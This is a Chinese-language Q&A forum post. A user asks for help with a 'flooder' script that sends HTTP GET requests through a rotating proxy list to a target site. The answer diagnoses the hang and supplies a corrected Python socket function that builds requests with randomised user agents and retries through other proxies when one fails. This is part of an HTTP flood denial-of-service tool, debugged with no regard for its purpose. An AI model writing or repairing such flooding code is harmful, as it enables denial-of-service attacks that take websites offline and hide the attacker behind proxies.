Question

我正在尝试改进2个flooders（不是我的）项目，制作我自己的脚本，这两个。这样做，我差不多完成了，但我陷入了脚本什么都不做的地方。这是代码：

如您所见，此脚本使用代理列表将请求（使用套接字库）发送到目标。但是当我到达“输入代理列表”并输入“proxy.txt”之后，脚本就会卡住！我做错了什么？你能救我吗？

Answer 1

输入“proxy.txt”后，脚本会打开文件，然后调用requestproxy（）。在requestproxy（）结束时，你有一个“while True”。这是一个无限循环，因此除非在某处出现“中断”，否则它会卡在那里，事实并非如此。您应该在s.send（request）之后添加一个break并将整个函数放入循环中。这样，如果包已经发送，你的无限循环就会停止，但如果有异常，它将再次尝试使用不同的代理。

看起来像这样：

def requestproxy():
    while True:
        global proxy
        host = proxy[0]
        port = proxy[1]
        host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
        get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
        useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
        accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
        connection = "Connection: Keep-Alive\r\n"
        request = get_host + useragent + accept + connection + "\r\n"
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.send(request)
            break
        except:
            proxy = random.choice(entries).strip().split(':')

我希望这会有所帮助。祝你有愉快的一天！
